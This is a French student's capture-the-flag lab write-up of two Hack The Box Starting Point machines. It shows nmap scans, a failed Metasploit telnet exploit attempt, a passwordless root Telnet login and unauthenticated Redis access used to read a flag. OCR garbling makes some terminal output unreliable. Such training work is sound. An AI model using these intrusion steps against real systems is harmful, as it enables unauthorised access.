Laboratoire 03 - Gauvain BOICHE
Hack-The-Box

Je connais bien, j'ai déja été abonné "Argent" de la HTB-Academy. C'est plutdt qualitatif. Et ¢ca nous rappelle la
nécessité de parler anglais dans ce métier, ce genre de ressource n'existe pas en francais, et c'est bien dommage.

StartingPoint

Inutile de raconter le début de tout ¢a, commencons dans le vif :
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D'abord, communiquons-nous ?



0 Parrot Terminal

[:E;. tarting-point-2-dhcp]-[10.10.14.238]—-[gauvainboiche@htb-wgtzdaukxe]—[~]
[#]$ ping 10.129.14.50

PING 10.129.14.50 (10.129.14.50) 56(84) bytes of data.

64 bytes from 10.129.14.50: icmp_seq=1 ttl=63 time=7.68 ms

64 bytes from 10.129.14.50: icmp_seq=2 ttl=63 time=7.44 ms

64 bytes from 10.129.14.50: icmp_seqg=3 ttl=63 time=7.46 ms

64 bytes from 10.129.14.50: icmp_seq=4 ttl=63 time=7.85 ms

€

--- 10.129.14.50 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 30@3ms

rtt min/avg/max/mdev = 7.437/7.605/7.846/@.168 ms

[:E; tarting-point-2-dhcp]—-[10.10.14.238]-[gauvainboiche@htb-wgtz Kxe]—[~]
+1$ |

Oui, on communique avec la "cible", c'est tres bien.

Je lance un nmap -sv -p- 10.128.14.50 pour scanner tous les ports et obtenir les informations sur chacun. Le résultat
n'est pas terrible :

—[eu-starting-point-2-dhcp]—=[10.10.14.238]—-[gauvainboilche@htb

= [*]$ nmap -sV -p- 10.129.14.50

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-10 ©2:54 CST
Nmap scan report for 10.129.14.50

Host is up (©0.0076s latency).

Not shown: 65534 closed tcp ports (reset)

PORT  STATE SERVICE VERSION

23/tcp open telnet Linux telnetd

Service Info: O0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.0xrg/submit/
Nmap done: 1 IP address (1 host up) scanned in 15.51 seconds

On devine que la machine est basé sur Linux, mais sans plus d'informations. Quelle distribution ? Quelle version ?

Mais ¢a devrait faire I'affaire. Je refais un nmap -sv -p --version-all 23 10.129.14.50 pour reccueillir le maximum sur
ce seul port ouvert :




[:E;_ s tar | 2-dhcp]—[10.10.14.238]—[gauvainboiche@ tzdal ]=[~]
[«]$ nmap -sV -p 23 --version-all 10.129.14.50

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-10 03:00 CST

Nmap scan report for 10.129.14.50

Host 1s up (0.0077s latency).

PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.0xrg/submit/
Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds

C'est un secret de polichinelle que Telnet est un service a trous et que celui qui ne I'a pas remplacé a minima par du
SSH est un dinosaure, et que son dernier script n'était méme pas en COBOL mais en BASIC.

Vulnérabilités

La machine n'ayant pas de service web (nginx/apache/autre), passer a Metasploit directement me semble la marche a
suivre. Je sais que telnet pour Linux est le service ouvert :

[msT]( :@ Agents:@) >> search telnet linux

Matching Modules

exploit/lanux/misc/asus_infosvr_auth_bypass_exec 015-01-04 - ASUS infosvr Auth Bypass Command Execution
exploit/1inux/http/asuswrt_lan_rxce AsusWRT LAN Unauthenticated Remote Code Execution
exploit/linux/http/dlink_diagnostic_exec_noauth 2013-03- NO D-Link DIR-645 / DIR-815 diagnostic.php Command Execution

_ target: CMD

_ target: Linux mipsel Payload
exploit/linux/http/dlink_dir3e@ exec_telnet
exploit/linux/misc/hp_jetdirect_path_traversal
exploit/linux/http/huawei_hg532n_cmdinject
exploit/linux/misc/igel_command_injection

_ target: Secure Terminal Service

D-Link Devices Unauthentica
normal NO HP Jetdirect Path Traversal Arbitrary Code Execution
Huawei HG532n Command Injection

IGEL 0S Secure VNC/Terminal Command Injection RCE

=] O LN B W N e

U ownoun pa

o
) |
Pod b

\_ target: Secure Shadow Service -
exploit/1linux/telnet/telnet encrypt_keyid p11-12-23 eat N Linux BSD-derived Telnet Service Encryption Key ID Buffer 0

target: Automatic

target: Red Hat Enterprise Linux 3 (krb5-telnet) :

it/1inux/telnet/netgear_telnetenable 10-3¢ Yes NETGEAR TelnetEnable

target: Automatic (detect TCP or UDP)

target: TCP (typically older devices)

target: UDP (typically newer devices) .

iary/admin/http/netgear_167@0_pass_reset 020-06-15 normal Yes Netgear R670@v3 Unauthenticated LAN Admin Password Reset
it/linux/ftp/proftp_telnet iac p10-11-01 Yes ProFTPD 1.3.21c3 - 1.3.3b Telnet IAC Buffer Overflow (Linux

target: Automatic Targeting

.

target: Debug
_ target: ProFTPD 1 5
_ target: ProFTPD 1_3_3a Serv
\_ target: 1 2c Server (Ubuntu 10.04)
exploit/linux/http/tp_link_sc2028n_authenticated_telnet_injection 015-12-2¢ t N TP-Link S
exploit/1inux/ssh/vyos_restricted_shell privesc P18-11-05 Yes Vy0S restricted-shell Escape and Privilege Escalation

rver (Debian) - Squeeze
er (Debian) - Squeeze tal (Debug)
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On a I'embarras du choix, et limite du choix dans I'embarras. La plupart ne font que mentionner des appareils réseau
(D-Link, Netgear, TP-Link...) et pas le service en tant que tel. Je tente avec le service qui me semble prometteur,

telnet_encrypt_keyid .




T

/telnet_encrypi_kKeyld
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[msT]( :@ Agents:@) >> use exploit/linux/teln
No payload configured, defaulting to linux/x

| 1 ( :@ Agents:@) exploit( telnet/1 w il 1) >> set RHOSTS 10.129.14.50

R 4.50

[msT] ( :@ Agents:@) exploit(1li telnet/telnet_encrypt_keyid) >> set RPORT 23
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] ( :@ Agents:@) exploit(linux/telnet/telnet_encrypt_keyid) >> exploit

rse TCP handler on 94.237.91.182:4444

=
10.129.14.50:23 - Brute forcing with 1 possible targets
10.129.14.50:23 - Trying target Red Hat Enterprise Linux 3 (krb5-telnet)

4.50:23 - Exploit aborted failure: unknown: This system does not support encryption
xploit completed, but no session was created.
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8) exploit(
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.238]—-[gauvainbolche@ht { | ol |

Trying 10.1 5
Connected to 10.129.14.50
Escape character 1is
whoami
whoami
Welcome to Ubuntu 20.84.2 LTS (GNU/Linux 5.4.8-77-generic x86_64)

Documentation: https://help.ubuntu.com
* Management: ttps://landscape.canonical.com

* Support: https://ubuntu.com/advantage
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System information as of Tue 1@ Feb 9:23:15 AM UTC
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Memory usage
Swap usage: 0%
Processes: 135

Users logged 1n @

IPv4 address for eth®: 10.129.14.50
[Pv6 address for eth@:
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updates can be applied immediately.
31 of these updates are standard security updates

these additional updates run: apt list --upgradable

The list of available updates 1s more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

ipplicable law.

Un compte root sans mot de passe, j'avoue j'ai jamais vu ¢a. Certes c'est une machine fait exprés, mais personne ne
ferait ca. N'est-ce pas ?

Mais de fait, je soumets les réponses et boum:



You have solved Meow!

Congratulations @ gauvainboiche  best of luck in capturing flags ahead!

#544321 10 Feb 2026 Retired

Machine Rank Pwn Date Machine State

Conclusions

Machine : Ubuntu 20.04.2 LTS

1 seul port ouvert, le 23, service Telnet

Metasploit inutile pour moi, faute de connaitre I'outil pour I'exploiter tel quel. Piratage "chanceux", j'ai tenté une
connexion root sans chercher de CVE ni rien, a l'instinct. Mais ¢ca paye !

La connexion en "root" par Telnet m'évite de devoir escalader par la suite. L'escalade est déja totale.
Les recommendations :

o decommissionner Telnet et remplacer par SSH

Je pourrais dire "forcez le mot de passe pour la connexion Telnet" mais non, pourquoi faire des circonvolutions quand
il faut juste arréter d'utiliser de mauvais services. On passe en SSH 2 et on n'autorise que les connexions avec clefs
SSH ED25519 et baste.

Petxieme Quatrieme essai

Apres un deuxieme (Fawn) puis troisieme (Dancing) essai, me voila sur un quatrieme, mais cette fois-ci directement
depuis la machine Kali-Linux en local. Et tant mieux, c'est la derniére des 4 machines non-VIP qui reste :

valid_1ft forever preferred_1ft forever
<BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fg_codel state UP group default qlen 1000
link/ether 08:00:27:63:b0:05 brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic noprefixroute eth@
valid_1ft 332sec preferred_1ft 332sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_1ft forever Target IP Address
<BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:0d:c2:75 brd ff:ff:ff:ff:ff:ff °
inet /24 brd scope global dynamic noprefixroute ethl @ g 101 2937178

& EU StartingPoint 2 7 Switch VPN

valid_1ft 332sec preferred_1ft 332sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_1ft forever
<POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fgq_codel state UNKNOWN group default qlen 500
link/none
inet /23 brd scope global tun@
valid_1ft forever preferred_1ft forever 3
inet6 /64 scope global m ® Connected with OpenVPN
valid_1ft forever preferred_1ft forever
inet6 /64 scope link stable-privacy proto kernel_11
valid_1ft forever preferred_1ft forever

Connected to Hack The Box

—( )-[~

L$ ping 10.129.37.178 Teskd
PING 10.129.37.178 (10.129.37.178) 56(84) bytes of data.

64 bytes from 10.129.37.178: icmp_seq=1 ttl=63 time=16.2 ms
64 bytes from 10.129.37.178: icmp_seq=2 ttl=63 time=14.5 ms
64 bytes from 10.129.37.178: icmp_seq=3 ttl=63 time=14.4 ms
e

ankings
— 10.129.37.178 ping statistics — 9 Submit Task
3 packets transmitted, 3 received, 0% packet loss, time 2002ms

niversities

rtt min/avg/max/mdev = 14.426/15.033/16.224/0.841 ms

Which TCP port is open on the machine?

= )-[~] ” A
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Bien ! Commencons. Un classique nmap -sV -p- 10.129.37.178:




)-[~]
ap -sV -p- 10.129.37.178

Startlng Nmap 7.98 ( https://nmap.org ) at 2026-02-10 06:10 -0500

Nmap scan report for 10.129.37.178

Host is up (0.16s latency).

Not shown: 65534 closed tcp ports (reset)

PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 5.0.7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.19 seconds

Une base de données Redis. J'ai connu des failles sur du PSQL et du MariaDB par le passé, Redis doit avoir ses failles
aussi. Pas d'info sur I'OS. On va faire sans pour le moment. Il faut juste installer Redis pour avoir redis-cli :

( )-[~]
sudo apt install redis -y
Installing:
redis

Summary:
Upgrading: @, Installing: 1, Removing: @, Not Upgrading: 9
Download size: 17.9 kB
Space needed: 28.7 kB / 61.7 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 redis all 5:8.0.5-1 [17.9 kB]
Fetched 17.9 kB in 0s (44.5 kB/s)

Selecting previously unselected package redis.

(Reading database.. 434535 files and directories currently installed.)

Preparing to unpack ../redis 5%3a8.0.5-1 all.deb..

Unpacking redis (5:8.0.5-1)..

Setting up redis (5:8.0.5-1)..

redis-cli -h 10.129.37.178
10.129.37.178:6379> |

Ah, je crois que j'ai entendu un DevSecOps lacher un rale d'agonie au dehors. Je jette une piece par la fenétre pour la
veuve et je reprends. Je tape info et j'ai tout :

Et j'en passe. C'est long. J'accéde a la premiéere Base de données et je liste les clefs :



.129.37.178:6379> select ©

.129.37.178:6379> KEYS +*
"numb™”

"flag"

"stor"

"temp”

.44s)

.129.37.178:6379> l

.129.37.178:6379> KEYS *

"numb™

"flag"

"stor”

"temp”

.129.37.178:6379> GET flag
"03el1d2b376c37ab3f5319922053953eb™
(1.56s)
10.129.37.178:6379> |}

Et voila :

You have solved Redeemer!

Congratulations @ gauvainboiche  best of luck in capturing flags ahead!

#291434 10 Feb 2026 Retired
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Maintenant je passe de "Starting Points" aux "Machines" niveau "Facile" et on verra.



https://labs.hackthebox.com/achievement/machine/3148093/472

